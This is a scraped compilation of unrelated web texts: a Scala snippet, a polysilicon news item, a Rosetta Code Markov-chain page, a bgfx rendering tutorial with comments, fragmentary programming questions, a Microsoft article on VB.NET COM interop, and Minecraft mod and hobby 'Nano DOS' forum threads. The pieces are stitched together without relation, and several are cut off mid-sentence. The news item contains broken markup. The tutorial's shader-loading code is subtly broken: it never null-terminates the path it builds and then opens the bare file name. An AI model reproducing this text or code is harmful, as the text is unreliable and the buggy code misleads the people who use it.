object PostConditions { opaque type WrappedResult[T] = T def result[T] given (r: WrappedResult[T]): T = r def (x: T) ensuring[T](condition: given WrappedResult[T] => Boolean): T = assert(condition) given x } import PostConditions.{ensuring, result} val s = List(1, 2, 3).sum.ensuring(result == 6)
Explanations: We use an implicit function type
given WrappedResult[T] => Boolean
as the type of the condition of
ensuring. An argument to
ensuring such as
(result == 6) will therefore have a given instance of type
WrappedResult[T] in
scope to pass along to the
result method.
WrappedResult is a fresh type, to make sure
that we do not get unwanted givens in scope (this is good practice in all cases
where implicit parameters are involved). Since
WrappedResult is an opaque type alias, its
values need not be boxed, and since
ensuring is added as an extension method, its argument
does not need boxing either. Hence, the implementation of
ensuring is as about as efficient
as the best possible code one could write by hand:
{ val result = List(1, 2, 3).sum assert(result == 6) result }
Reference
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18 July 2012 05:00 [Source: ICIS news]
SINGAPORE (ICIS)--?xml:namespace>
The 3,000 tonne/year plant, known as Korea Advanced Materials (KAM), is 51%-owned by KCC, with the remaining share held by Hyundai Heavy Industries.
The plant was shut in the beginning of July for maintenance, the source said.
KCC operates another 3,000 tonne/year polysilicon plant at the same site.
The plant has been shut since December 2011, with no plans to restart it in the near term, the source said.
The polysilicon market is very weak now, and we are unable to match buying indications heard in the market, the source added.
Polysilicon prices on a FOB (free-on-board) NE (northeast) Asia basis were at $19-22/kg ($19,000-22,000/tonne) (€15,390-17,820/tonne), and yuan (CNY) 140,000-160,000/tonne for the week ended 11 July, according to ICIS data.
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Markov chain text generator
This task is about coding a Text Generator using Markov Chain algorithm.
A Markov chain algorithm basically determines the next most probable suffix word for a given prefix.
To do this, a Markov chain program typically breaks an input text (training text) into a series of words, then by sliding along them in some fixed sized window, storing the first N words as a prefix and then the N + 1 word as a member of a set to choose from randomly for the suffix.
As an example, take this text with N = 2:
now he is gone she said he is gone for good
this would build the following table:
PREFIX SUFFIX now he is he is gone, gone is gone she, for gone she said she said he said he is gone for good for good (empty) if we get at this point, the program stops generating text
To generate the final text choose a random PREFIX, if it has more than one SUFFIX, get one at random, create the new PREFIX and repeat until you have completed the text.
Following our simple example, N = 2, 8 words:
random prefix: gone she suffix: said new prefix: she + said new suffix: he new prefix: said + he new suffix: is ... and so on gone she said he is gone she said
The bigger the training text, the better the results. You can try this text here: alice_oz.txt
Create a program that is able to handle keys of any size (I guess keys smaller than 2 words would be pretty random text but...) and create output text also in any length. Probably you want to call your program passing those numbers as parameters. Something like: markov( "text.txt", 3, 300 )
C++[edit]
In this implementation there is no repeated suffixes!
#include <ctime>
#include <iostream>
#include <algorithm>
#include <fstream>
#include <string>
#include <vector>
#include <map>
class markov {
public:
void create( std::string& file, int keyLen, int words ) {
std::ifstream f( file.c_str(), std::ios_base::in );
fileBuffer = std::string( ( std::istreambuf_iterator<char>( f ) ), std::istreambuf_iterator<char>() );
f.close();
if( fileBuffer.length() < 1 ) return;
createDictionary( keyLen );
createText( words - keyLen );
}
private:
void createText( int w ) {
std::string key, first, second;
size_t next, pos;
std::map<std::string, std::vector<std::string> >::iterator it = dictionary.begin();
std::advance( it, rand() % dictionary.size() );
key = ( *it ).first;
std::cout << key;
while( true ) {
std::vector<std::string> d = dictionary[key];
if( d.size() < 1 ) break;
second = d[rand() % d.size()];
if( second.length() < 1 ) break;
std::cout << " " << second;
if( --w < 0 ) break;
next = key.find_first_of( 32, 0 );
first = key.substr( next + 1 );
key = first + " " + second;
}
std::cout << "\n";
}
void createDictionary( int kl ) {
std::string w1, key;
size_t wc = 0, pos, textPos, next;
next = fileBuffer.find_first_not_of( 32, 0 );
if( next == -1 ) return;
while( wc < kl ) {
pos = fileBuffer.find_first_of( ' ', next );
w1 = fileBuffer.substr( next, pos - next );
key += w1 + " ";
next = fileBuffer.find_first_not_of( 32, pos + 1 );
if( next == -1 ) return;
wc++;
}
key = key.substr( 0, key.size() - 1 );
while( true ) {
next = fileBuffer.find_first_not_of( 32, pos + 1 );
if( next == -1 ) return;
pos = fileBuffer.find_first_of( 32, next );
w1 = fileBuffer.substr( next, pos - next );
if( w1.size() < 1 ) break;
if( std::find( dictionary[key].begin(), dictionary[key].end(), w1 ) == dictionary[key].end() )
dictionary[key].push_back( w1 );
key = key.substr( key.find_first_of( 32 ) + 1 ) + " " + w1;
}
}
std::string fileBuffer;
std::map<std::string, std::vector<std::string> > dictionary;
};
int main( int argc, char* argv[] ) {
srand( unsigned( time( 0 ) ) );
markov m;
m.create( std::string( "alice_oz.txt" ), 3, 200 );
return 0;
}
- Output:
March Hare had just upset the milk-jug into his plate. Alice did not dare to disobey, though she felt sure it would all come wrong, and she went on. Her listeners were perfectly quiet till she got to the part about her repeating 'You are old, Father William,' said the Caterpillar. 'Well, I've tried to say slowly after it: 'I never was so small as this before, never! And I declare it's too bad, that it is!' As she said this she looked down into its face in some alarm. This time there were three gardeners at it, busily painting them red. Alice thought this a very difficult game indeed. The players all played at once without waiting for the end of me. But the tinsmith happened to come along, and he made me a body of tin, fastening my tin arms and
J[edit]
This seems to be reasonably close to the specification:
require'web/gethttp'
setstats=:dyad define
'plen slen limit'=: x
txt=. gethttp y
letters=. (tolower~:toupper)txt
NB. apostrophes have letters on both sides
apostrophes=. (_1 |.!.0 letters)*(1 |.!.0 letters)*''''=txt
parsed=. <;._1 ' ',deb ' ' (I.-.letters+apostrophes)} tolower txt
words=: ~.parsed
corpus=: words i.parsed
prefixes=: ~.plen]\corpus
suffixes=: ~.slen]\corpus
ngrams=. (plen+slen)]\corpus
pairs=. (prefixes i. plen{."1 ngrams),. suffixes i. plen}."1 ngrams
stats=: (#/.~pairs) (<"1~.pairs)} (prefixes ,&# suffixes)$0
weights=: +/\"1 stats
totals=: (+/"1 stats),0
i.0 0
)
genphrase=:3 :0
pren=. #prefixes
sufn=. #suffixes
phrase=. (?pren) { prefixes
while. limit > #phrase do.
p=. prefixes i. (-plen) {. phrase
t=. p { totals
if. 0=t do. break.end. NB. no valid matching suffix
s=. (p { weights) I. ?t
phrase=. phrase, s { suffixes
end.
;:inv phrase { words
)
- Output:
2 1 50 setstats ''
genphrase''
got in as alice alice
genphrase''
perhaps even alice
genphrase''
pretty milkmaid alice
And, using 8 word suffixes (but limiting results to a bit over 50 words):
- Output:
2 8 50 setstats ''
genphrase''
added it alice was beginning to get very tired of this i vote the young lady tells us alice was beginning to get very tired of being such a tiny little thing it did not take her long to find the one paved with yellow bricks within a short time
genphrase''
the raft through the water they got along quite well alice was beginning to get very tired of this i vote the young lady tells us alice was beginning to get very tired of being all alone here as she said this last word two or three times over to
genphrase''
gown that alice was beginning to get very tired of sitting by her sister on the bank and alice was beginning to get very tired of being such a tiny little thing it did so indeed and much sooner than she had accidentally upset the week before oh i beg
(see talk page for discussion of odd line wrapping with some versions of Safari)
Lua[edit]
Not sure whether this is correct, but I am sure it is quite inefficient. Also not written very nicely.
Computes keys of all lengths <= N. During text generation, if a key does not exist in the dictionary, the first (least recent) word is removed, until a key is found (if no key at all is found, the program terminates).
local function pick(t)
local i = math.ceil(math.random() * #t)
return t[i]
end
local n_prevs = tonumber(arg[1]) or 2
local n_words = tonumber(arg[2]) or 8
local dict, wordset = {}, {}
local prevs, pidx = {}, 1
local function add(word) -- add new word to dictionary
local prev = ''
local i, len = pidx, #prevs
for _ = 1, len do
i = i - 1
if i == 0 then i = len end
if prev ~= '' then prev = ' ' .. prev end
prev = prevs[i] .. prev
local t = dict[prev]
if not t then
t = {}
dict[prev] = t
end
t[#t+1] = word
end
end
for line in io.lines() do
for word in line:gmatch("%S+") do
wordset[word] = true
add(word)
prevs[pidx] = word
pidx = pidx + 1; if pidx > n_prevs then pidx = 1 end
end
end
add('')
local wordlist = {}
for word in pairs(wordset) do
wordlist[#wordlist+1] = word
end
wordset = nil
math.randomseed(os.time())
math.randomseed(os.time() * math.random())
local word = pick(wordlist)
local prevs, cnt = '', 0
--[[ print the dictionary
for prevs, nexts in pairs(dict) do
io.write(prevs, ': ')
for _,word in ipairs(nexts) do
io.write(word, ' ')
end
io.write('\n')
end
]]
for i = 1, n_words do
io.write(word, ' ')
if cnt < n_prevs then
cnt = cnt + 1
else
local i = prevs:find(' ')
if i then prevs = prevs:sub(i+1) end
end
if prevs ~= '' then prevs = prevs .. ' ' end
prevs = prevs .. word
local cprevs = ' ' .. prevs
local nxt_words
repeat
local i = cprevs:find(' ')
if not i then break end
cprevs = cprevs:sub(i+1)
if DBG then io.write('\x1b[2m', cprevs, '\x1b[m ') end
nxt_words = dict[cprevs]
until nxt_words
if not nxt_words then break end
word = pick(nxt_words)
end
io.write('\n')
- Output:
> ./markov.lua <alice_oz.txt 3 200 hugged the soft, stuffed body of the Scarecrow in her arms instead of kissing his painted face, and found she was crying herself at this sorrowful parting from her loving comrades. Glinda the Good stepped down from her ruby throne to give the prizes?' quite a chorus of voices asked. 'Why, she, of course,' said the Dodo, pointing to Alice with one finger; and the whole party look so grave and anxious.) Alice could think of nothing else to do, and perhaps after all it might tell her something worth hearing. For some minutes it puffed away without speaking, but at last it sat down a good way off, panting, with its tongue hanging out of its mouth again, and said, 'So you think you're changed, do you?' low voice, 'Why the fact is, you see, Miss, we're doing our best, afore she comes, to-' At this moment Five, who had been greatly interested in
Perl 6[edit]
unit sub MAIN ( :$text=$*IN, :$n=2, :$words=100, );
sub add-to-dict ( $text, :$n=2, ) {
my @words = $text.words;
my @prefix = @words.rotor: $n => -$n+1;
(%).push: @prefix Z=> @words[$n .. *]
}
my %dict = add-to-dict $text, :$n;
my @start-words = %dict.keys.pick.words;
my @generated-text = lazy |@start-words, { %dict{ "@_[ *-$n .. * ]" }.pick } ...^ !*.defined;
put @generated-text.head: $words;
>perl6 markov.p6 <alice_oz.txt --n=3 --words=200 Scarecrow. He can't hurt the straw. Do let me carry that basket for you. I shall not mind it, for I can't get tired. I'll tell you what I think, said the little man. Give me two or three pairs of tiny white kid gloves: she took up the fan and gloves, and, as the Lory positively refused to tell its age, there was no use in saying anything more till the Pigeon had finished. 'As if it wasn't trouble enough hatching the eggs,' said the Pigeon; 'but I must be very careful. When Oz gives me a heart of course I needn't mind so much. They were obliged to camp out that night under a large tree in the wood,' continued the Pigeon, raising its voice to a whisper. He is more powerful than they themselves, they would surely have destroyed me. As it was, I lived in deadly fear of them for many years; so you can see for yourself. Indeed, a jolly little clown came walking toward them, and Dorothy could see that in spite of all her coaxing. Hardly knowing what she did, she picked up a little bit of stick, and held it out to
Phix[edit]
This was fun! (easy, but fun)
integer fn = open("alice_oz.txt","rb")
string text = get_text(fn)
close(fn)
sequence words = split(text)
function markov(integer n, m)
integer dict = new_dict(), ki
sequence key, data, res
string suffix
for i=1 to length(words)-n do
key = words[i..i+n-1]
suffix = words[i+n]
ki = getd_index(key,dict)
if ki=0 then
data = {}
else
data = getd_by_index(ki,dict)
end if
setd(key,append(data,suffix),dict)
end for
integer start = rand(length(words)-n)
key = words[start..start+n-1]
res = key
for i=1 to m do
ki = getd_index(key,dict)
if ki=0 then exit end if
data = getd_by_index(ki,dict)
suffix = data[rand(length(data))]
res = append(res,suffix)
key = append(key[2..$],suffix)
end for
return join(res)
end function
?markov(2,100)
- Output:
from the alice_oz.txt file:
"serve me a heart, said the Gryphon. \'Then, you know,\' Alice gently remarked; \'they\'d have been ill.\' \'So they were,\' said the Lion. One would almost suspect you had been running too long. They found the way to send me back to the imprisoned Lion; but every day she came upon a green velvet counterpane. There was a long sleep you\'ve had!\' \'Oh, I\'ve had such a capital one for catching mice-oh, I beg your pardon!\' cried Alice hastily, afraid that she was shrinking rapidly; so she felt lonely among all these strange people. Her tears seemed to Alice a good dinner." | http://rosettacode.org/wiki/Markov_chain_text_generator | CC-MAIN-2017-30 | refinedweb | 2,115 | 72.97 |
Bgfx is a rendering library that supports Direct3D, Metal and OpenGL variants across 11 platforms and counting. It's easy to build and there are many examples available to help submerse you in the details. Understanding the line of separation between bgfx and the example code was relatively easy but took me more time than I would have thought. If you're interested in a quick example on how to use bgfx with your own project, read on.
I assume you have some prior graphics programming experience and that you've already followed the build instructions here. I'll be borrowing from the example-01-cubes project so make sure you build using the --with-examples option if you'd like to follow along.
You'll find the debug and release libraries in a folder named something like winXX_vs20XX located inside the .build directory (making sure you link bgfx*.lib, bimg*.lib and bx*.lib). To test if all is well, call the bgfx::init function.
#include "bgfx/bgfx.h" int main(void) { bgfx::init(); return 0; }
With all this in place, you should be able to initialize the system without error.
We'll need a window to render to. I use GLFW but SDL or anything else will be fine.
#include "bgfx/bgfx.h" #include "GLFW/glfw3.h" #define WNDW_WIDTH 1600 #define WNDW_HEIGHT 900 int main(void) { glfwInit(); GLFWwindow* window = glfwCreateWindow(WNDW_WIDTH, WNDW_HEIGHT, "Hello, bgfx!", NULL, NULL); bgfx::init(); return 0; }
Now we have to make sure bgfx has a handle to the native window. This is done via the bgfx::PlatformData struct and the 'nwh' member. If you're using GLFW, make sure you define GLFW_EXPOSE_NATIVE_WIN32 and include the glfw3native header. Now is also a good time to properly define a bgfx::Init object.
... #define GLFW_EXPOSE_NATIVE_WIN32 #include "GLFW/glfw3native.h" ... bgfx::PlatformData pd; pd.nwh = glfwGetWin32Window(window); bgfx::setPlatformData(pd); bgfx::Init bgfxInit; bgfxInit.type = bgfx::RendererType::Count; // Automatically choose a renderer. bgfxInit.resolution.width = WNDW_WIDTH; bgfxInit.resolution.height = WNDW_HEIGHT; bgfxInit.resolution.reset = BGFX_RESET_VSYNC; bgfx::init(bgfxInit); ...
Let's render something. We'll set the view clear flags and create a simple render loop.
... bgfx::setViewClear(0, BGFX_CLEAR_COLOR | BGFX_CLEAR_DEPTH, 0x443355FF, 1.0f, 0); bgfx::setViewRect(0, 0, 0, WNDW_WIDTH, WNDW_HEIGHT); unsigned int counter = 0; while(true) { bgfx::frame(); counter++; } ...
You should see a window with a purple background. Soak in the awesome.
At this point, we're ready to take on something more interesting. We'll steal a cube mesh from one of the example files.
struct PosColorVertex { float x; float y; float z; uint32_t abgr; }; static PosColorVertex cubeVertices[] = { {-1.0f, 1.0f, 1.0f, 0xff000000 }, { 1.0f, 1.0f, 1.0f, 0xff0000ff }, {-1.0f, -1.0f, 1.0f, 0xff00ff00 }, { 1.0f, -1.0f, 1.0f, 0xff00ffff }, {-1.0f, 1.0f, -1.0f, 0xffff0000 }, { 1.0f, 1.0f, -1.0f, 0xffff00ff }, {-1.0f, -1.0f, -1.0f, 0xffffff00 }, { 1.0f, -1.0f, -1.0f, 0xffffffff }, }; static const uint16_t cubeTriList[] = { 0, 1, 2, 1, 3, 2, 4, 6, 5, 5, 6, 7, 0, 2, 4, 4, 2, 6, 1, 5, 3, 5, 7, 3, 0, 4, 1, 4, 5, 1, 2, 3, 6, 6, 3, 7, };
Now we need to describe the mesh in terms of the vertex declaration, bgfx::VertexDecl.
... bgfx::setViewRect(0, 0, 0, WNDW_WIDTH, WNDW_HEIGHT); bgfx::VertexDecl pcvDecl; pcvDecl.begin() .add(bgfx::Attrib::Position, 3, bgfx::AttribType::Float) .add(bgfx::Attrib::Color0, 4, bgfx::AttribType::Uint8, true) .end(); bgfx::VertexBufferHandle vbh = bgfx::createVertexBuffer(bgfx::makeRef(cubeVertices, sizeof(cubeVertices)), pcvDecl); bgfx::IndexBufferHandle ibh = bgfx::createIndexBuffer(bgfx::makeRef(cubeTriList, sizeof(cubeTriList))); unsigned int counter = 0; ...
We're almost there. We just need to load a bgfx shader which we'll borrow from the example files in the examples/runtime/shaders directory. To do that we need to load the shader file contents inside a bgfx::Memory object before passing that to bgfx::createShader.
bgfx::ShaderHandle loadShader(const char *FILENAME) { const char* shaderPath = "???"; switch(bgfx::getRendererType()) { case bgfx::RendererType::Noop: case bgfx::RendererType::Direct3D9: shaderPath = "shaders/dx9/"; break; case bgfx::RendererType::Direct3D11: case bgfx::RendererType::Direct3D12: shaderPath = "shaders/dx11/"; break; case bgfx::RendererType::Gnm: shaderPath = "shaders/pssl/"; break; case bgfx::RendererType::Metal: shaderPath = "shaders/metal/"; break; case bgfx::RendererType::OpenGL: shaderPath = "shaders/glsl/"; break; case bgfx::RendererType::OpenGLES: shaderPath = "shaders/essl/"; break; case bgfx::RendererType::Vulkan: shaderPath = "shaders/spirv/"; break; } size_t shaderLen = strlen(shaderPath); size_t fileLen = strlen(FILENAME); char *filePath = (char *)malloc(shaderLen + fileLen); memcpy(filePath, shaderPath, shaderLen); memcpy(&filePath[shaderLen], FILENAME, fileLen); FILE *file = fopen(FILENAME, "rb"); fseek(file, 0, SEEK_END); long fileSize = ftell(file); fseek(file, 0, SEEK_SET); const bgfx::Memory *mem = bgfx::alloc(fileSize + 1); fread(mem->data, 1, fileSize, file); mem->data[mem->size - 1] = '\0'; fclose(file); return bgfx::createShader(mem); }
Now we can create a shader program and wrap up rendering our cube. The bx library has matrix helper methods or use your own. Either way, building the projection matrix and setting the view transform should look familiar. Don't forget to set the vertex and index buffers and submit the program we just created before advancing the next frame.
... bgfx::ShaderHandle vsh = loadShader("vs_cubes.bin"); bgfx::ShaderHandle fsh = loadShader("fs_cubes.bin"); bgfx::ProgramHandle program = bgfx::createProgram(vsh, fsh, true); unsigned int counter = 0; while(true) { const bx::Vec3 at = {0.0f, 0.0f, 0.0f}; const bx::Vec3 eye = {0.0f, 0.0f, -5.0f}; float view[16]; bx::mtxLookAt(view, eye, at); float proj[16]; bx::mtxProj(proj, 60.0f, float(WNDW_WIDTH) / float(WNDW_HEIGHT), 0.1f, 100.0f, bgfx::getCaps()->homogeneousDepth); bgfx::setViewTransform(0, view, proj); bgfx::setVertexBuffer(0, vbh); bgfx::setIndexBuffer(ibh); bgfx::submit(0, program); bgfx::frame(); counter++; } ...
Behold! A cube. Let's make it move.
... bgfx::setViewTransform(0, view, proj); float mtx[16]; bx::mtxRotateXY(mtx, counter * 0.01f, counter * 0.01f); bgfx::setTransform(mtx); bgfx::submit(0, program); ...
And we're done!
You can check out the completed example here. Note that I kept error handling and callbacks out to better highlight how bgfx is used. Hopefully this will give you a basic idea of how things work and enable you to layer in more advanced techniques. Be sure to take some time to scan through the example code and API documentation. Good luck and happy rendering!
Спасибо Бранимир Караџић!
Discussion (12)
bgfx::VertexDeclhas been renamed to
bgfx::VertexLayout.
In order to use the
bgfx::setPlatformDatafunction, you also need to include
bgfx/platform.hheader file.
This line:
Should be
this returns null for me.
filePath ends up being "shaders/dx11/vs_cubes.binýýýý"
hard coding this to "shaders/dx11/vs_cubes.bin" results in no change despite the file being present...
Any idea why?
Because he uses memcpy, a null terminator never gets written to the end of the string. You need to allocate with "char* filePath = (char*)calloc(1, shaderLen + fileLen + 1);", then there will be a zero at the end of the string
For platform compatibility, you also need to add
bgfx/include/compat/***to your include paths.
For example, for Visual Studio 2012 and higher, add
bgfx/include/compat/msvcto your include paths.
My program stops at "nULLER7" - dont mind the language its my native lang word
using Tdmgcc 9.2;
Sorry figured it out it was silly
In order to get bgfx to clear the screen, you also need to call
bgfx::touch(0)before
bgfx::frame().
For
bx::Vec3you also need to include
bx/math.h.
For
FILE, and
fopenfunction to compile, you also need to include
cstdio.
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Are handlers reused to proceed another message?
public
abstract class SomeHandler : IHandleMessages<MyEvent>{
public IBus Bus { get; set; } public String Message { get; set;
} public void Handle(T message) { Message =
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I am working on making an entity framework project more scalable to suit
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4.0. The project has globally setup lazy loading.
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have 2 tables:
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I am looking for the controller / function which shows the Related
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called via <?php echo $this->getChildHtml('related');
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I have modified this phtml file to count the
related items and show an alternate fallback of a random selection of
products by using this:
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When i modify the database and upgrade the existing app in my Phone, the
DB is not getting overwritten which makes my application crash.How to
tell phone to delete the DB and add fresh one during installation of APK
file?
Assuming these as django model for the sake of simplcity:
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I have the following problem. When debugging a project where I'm playing
around a bit with Code First, the Items are somehow not added to the
purchase. The purchases are added to the client.
This is how I
seed the Data.
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protected override void Seed(Public
So I have models amounting to this (very simplified, obviously):
class Mystery(models.Model): name =
models.CharField(max_length=100)class Character(models.Model):
mystery = models.ForeignKey(Mystery, related_name="characters")
required = models.BooleanField(default=True)
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What is the optimal way to perform the following query?
I
have two tables with the following structure:
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want to find all "unowned" assets - where that means there is no AssetOwner
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LINQ
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I'm using MySQL db.
I want to dump a set of rows from one
table and if these rows have foriegn keys that point to rows on some other
tables, I want to dump those too.
Then I want to load these
dumps into their respective tables on a different database (e.g using LOAD
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How to call a Visual Basic .NET or Visual Basic 2005 assembly from Visual Basic 6.0
This article describes how use Microsoft Visual Basic .NET or Microsoft Visual Basic 2005 to build a managed assembly that can be called from Microsoft Visual Basic 6.0.
INTRODUCTION
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Guidelines for exposing .NET types to COMWhen you want to expose types in a Microsoft .NET assembly to Component Object Model (COM) applications, consider the following COM interop requirements at design time. Managed types (class, interface, struct, enum, and others) interact well with COM client applications when you follow these guidelines:
- Define interfaces and explicitly implement them in classes. COM interop provides a mechanism to automatically generate an interface that contains all members of the class and the members of its base class. However, it is best to provide explicit interfaces and implement them explicitly.
- Declare all managed types that you want to expose to COM as public. Only public types in an assembly are registered and exported to the type library. Therefore, only public types are visible to COM.
- Declare all type members (methods, properties, fields, and events) that you want to expose to COM as public. Members of public types must also be public to be visible to COM. By default, all public types and members are visible. Use the ComVisibleAttribute attribute if you have to hide a type or a member from control type or member visibility to COM client applications.
- Types must have a public default constructor to be instantiated through COM. Managed, public types are visible to COM. However, without a public default constructor (a constructor without arguments), COM clients cannot create an instance of the type. COM clients can still use the type if the type is instantiated in another way and the instance is returned to the COM client. You may include overloaded constructors that accept varying arguments for these types. However, constructors that accept arguments may only be called from managed (.NET) code.
- Types cannot be abstract. Neither COM clients nor .NET clients can create instances of abstract types.
- Use the COMClass template in Visual Basic .NET or in Visual Basic 2005. When you add a new class that you intend to expose to COM applications, consider using the COMClass template that is provided by Visual Basic .NET or by Visual Basic 2005. The COMClass template creates a class that includes the COMClassAttribute attribute and generates GUIDs for the CLSID, the Interface ID, and the Event ID that are exposed by your type. Additionally, the COMClass template creates a public constructor without parameters. This is the easiest way to create a new class that follows the guidelines for creating COM callable types.
Registering the .NET assembly for COM interop and creating a type libraryFor Visual Basic 6.0 to successfully interact with a managed component, you must register the assembly for COM interop and generate a type library. This registration must be performed on each computer where a COM client application interacts with the assembly. The type library provides type information about the exposed types in the assembly to COM client applications. The process for doing this depends on if you are working on the development computer or on the destination computer.
On the development computer, Microsoft Visual Studio .NET or Microsoft Visual Studio 2005 automatically creates a type library and registers it during the build process if the Register for COM Interop check box is selected under the project's Configuration properties. If you used the COMClass template when you created the class, Visual Studio .NET or Visual Studio 2005 automatically selects the Register for COM Interop check box. To verify that the Register for COM Interop check box is selected in Visual Studio .NET or in Visual Studio 2005, follow these steps:
- Start Visual Studio .NET or Visual Studio 2005.
- Open the solution that contains the project that you want to build for COM interop.
- On the View menu, click Solution Explorer.
- In Solution Explorer, right-click the project that you want to build for COM interop, and then click Properties.
- Click Configuration Properties, and then click the Build node.
Note In Visual Studio 2005, click Compile in the left pane.
- Click to select the Register for COM Interop check box. This option is only enabled in class library projects.
- Click OK to close the Property Pages dialog box.
A private assembly is deployed with an application and is available for the exclusive use of that application. Other applications do not share the private assembly. Private assemblies are designed to be installed into the same folder as the host process (EXE). With a COM client application, this means that the assembly is located in the same folder as that application. A shared assembly is available for use by multiple applications on the computer. To create a shared assembly, you must sign the assembly with a strong name and install the assembly into the Global Assembly Cache (GAC) on the destination computer.
For more information about how to sign the assembly with a strong name and install the assembly into the Global Assembly Cache (GAC), visit the following Microsoft Web site:/tlb: switch and the /Codebase switch when you register the assembly. The /tlb: switch generates and registers a type library, and the /Codebase switch registers the location of the managed assembly in the Windows registry. If you do not use the /Codebase switch and the assembly has not been installed into the Global Assembly Cache (GAC), you must put a copy of the assembly into the folder of each COM client application (EXE) so that the assembly can be located by the common language runtime (CLR).
To generate and register a type library and register the location of the managed assembly, type the following command at the command prompt:
Regasm AssemblyName.dll /tlb: FileName.tlb /codebase
Create a COM callable assembly in Visual Basic .NET
- Start Visual Studio .NET or Visual Studio 2005.
- On the File menu, point to New, and then click Project.
- Under Project Types, click Visual Basic Projects.
Note In Visual Studio2005 click Visual Basic under Project Types.
- Under Templates, click Class Library.
- Name the project TestProj, and then click OK.
By default, Class1 is created.
- On the View menu, click Solution Explorer.
- Right-click Class1.vb, and then click Delete. Click OK to confirm the deletion of the Class1.vb source file.
- On the Project menu, click Add Class.
- Under Templates, click COM Class.
- Name the class COMClass1.vb, and then click Open
COMClass1 is created with the following code.
= "6DB79AF2-F661-44AC-8458-62B06BFDD9E4" Public Const InterfaceId As String = "EDED909C-9271-4670-BA32-109AE917B1D7" Public Const EventsId As String = "17C731B8-CE61-4B5F-B114-10F3E46153AC"#End Region ' A creatable COM class must have a Public Sub New() ' without parameters. Otherwise, the class will not be ' registered in the COM registry and cannot be created ' through CreateObject. Public Sub New() MyBase.New() End SubEnd Class
- Add the following function to COMClass1.
Public Function myFunction() As Integer Return 100 End Function
- In Solution Explorer, right-click Project Name, and then click Properties.
- Under Configuration Properties, click Build.
- Verify that the Register for COM Interop check box is selected, and then click OK.
- On the Build menu, click Build Solution to build the project.
- Start Visual Basic 6.0.
- On the File menu, click New Project, and then click to select Standard EXE in the New Project dialog box.
By default, a form that is named Form1 is created.
- On the Project menu, click References.
- In the Available References list, double-click to select TestProj, and then click OK.
- Add a command button to the form.
- Double-click Command1 to open the Code window.
- Add the following code to the Command1_Click event.
Dim myObject As TestProj.COMClass1Set myObject = New TestProj.COMClass1MsgBox myObject.myFunction
- On the Run menu, click Start.
- Click the command button.
You should receive a message that displays 100.
For more information, visit the following Microsoft Web site:
REFERENCES
Interoperating with unmanaged code
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Quote from AtomicStryker
Those are a) problems with manual decompiling and :cool.gif: the Render Hack breaking the new light texture introduced in 1.8
Both unfixable atleast until MCP gets updated
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OMG this is too awesome only problem i can see is if people punch to open doors but i dont so im fine.
Quote from rickput7
That's pretty awesome, I like to stay vanilla though, but I might end up downloading this to try it out. One of the best mods I've seen.
Quote from OwnzYaFace
Add a toggle plz?
Quote from SpitFir3Tornado
I can think of a lot of reasons not to get this such as, it sucks. It's useless. It'll probably mess up SMP.
Quote from AtomicStryker
Updated with MCP 1.8.1, dark block issue should be gone.
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Kinda inspired by Terraria? Anyway, if more people would make original mods like this one...
I don't need over 9000 extra ores; I don't want funky mobs in my world, they're lame!
Give me something like this instead! :cool.gif:
return (new Random().nextInt(2) == 0 ? "alive" : "dead");
Ok, i'll be sure to download it once its fixed. Great mod
Doors are fairly hard to 'break', i have no issues in my game
It's the kind of feature you would have expected in the first vanilla version really
To toggle what? o_O
You're an idiot. And no, that is not an assumption.
Does it just deactivate or screw stuff up or simply work as if it does normally?
Makes sense, seeing as i modify PlayerControllerSP
Only thing I don't like about it is a sword being able to "partially mine" blocks too. I don't like the look of mid-broken blocks around my world (I mostly find this mod useful if I have to turn around to fight something. Then I can resume mining it with the same progress afterwards.) and it tends to happen a lot when I'm swinging my sword around hitting monsters,and end up hitting the block behind them at some point. I'd rather only my tools (shovel, pick, axe, etc.) had this ability.
Any way to change that? Or possible config file in order to, in the future?
It's still happening for me.
indubidubly!
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Nano DOS is a simple Python 3 operating system running on a few handlers, such as command handlers and parsers, program handlers and even more. It has a few built in external programs.
Lead Developer: @JayBFC
Assistant Developer: @HarveyH
Get your custom program included in Nano DOS!
To get your own program included in Nano DOS' program list, simply use the following format and put the link in the comments of this post. The best custom program will be featured on this post as well as your name in the credits list which is still in the future to come.
def programname(): #Code of the program here class programname_class: def __init__(self): print() def run_programname(self): programname()
This "operating system" does not have much features yet, but me and @HarveyH started development just an hour or two ago.
Thanks for viewing this post and don't forget to give Nano DOS a try. Please, please leave feedback in the comments to make Nano DOS the best it can be.
Stay awesome :)
Awesome! Currently working on a program to add to Nano Dos!
Edit: I'm done! It was finished in less than 1 day, so don't expect it to work properly:
NaK is a...
Nak is a program to use to emulate situations in python. Nak supports code from python, LuaH, HScript, and customNaK (NaK). It also supports NosDos and HOS emulation.
Why should you use NaK?
NaK is a better solution because NaK does not require users to use a separate computer to run a python / LuaH / HScript program. NaK also has a debugging tool. NaK also supports CK drives, unlike other python program. NaK also supports emulation for NosDos and HOS.
Downsides of NaK:
customNaK is very experimental and some features have been failing during development. Also, CK drive support is limited, and does not successfully use custom NaK code.
Changelog
1.1 Dec. 27, 2018
NaK supports HScript
1.2 Dec. 27, 2018 - 28, 2018
NaK now has COMPLETE support for emulation.
NaK reached over 500 lines of code.
Please message me if you want your Python3 script or OS to be in NaK. If you are using python 2.7, NaK will not support your code or OS. Please update it to the newest version of python.
Also need to mention that due to python support, LuaH, HScript and customNaK could be easily manipulated. It is safer to stay away from assigning values. THIS INCLUDES THE OPERATING SYSTEMS.
@HarperframeInc Thank you very much for this post. I will be sure to check it out. It sounds awesome and I will definitely consider adding it to Nano DOS. You are the first person to submit a custom program, meaning you will definitely be credited some time after development in the operating system. Again, thanks for posting this!
@HarperframeInc I've got a new programming language called HScript if you want to implement it in. Here is the link -->
@HarperframeInc Thank you! I'll tell you if I've added anything to HScript, it's also on repl talk if you want to upvote it there.
@HarperframeInc You may create as many programs as you would like, we don't mind. Thank you for such a large contribution to our project!
Cool. :D
I did a ruby shell with similar functionality a long time ago but nobody cared. LOL
Anyways, this is cool, I'm planning on learning Python sometime.
Needs a lot of work.
1. Add error measages
2. Add color
3. More commands (e.g. make-file, cd, pwd)
4. Make it seem more like a Terminal System
To get some ideas you can view my post:
NanoDOS is COOL!!! It's my first time playing with a py based OS. I cannot wait to get to this level of mastery. One problem, is the OS supposed to break if I misspell the program? I misspelled stopwatch and it had to reload. Is this normal?
could you tell me where did you write import the programs from ( sorry I am new to python and Coding)
Also, make it so it doesn't cause a pythonic error message from having an invalid number of arguments -- use try/except and display the error message as part of the shell, in a more user-friendly way.
Y'know, in real operating systems/shells, you don't have a command just for running things (unless the things to run are scripts), instead, you just have a command for that program.
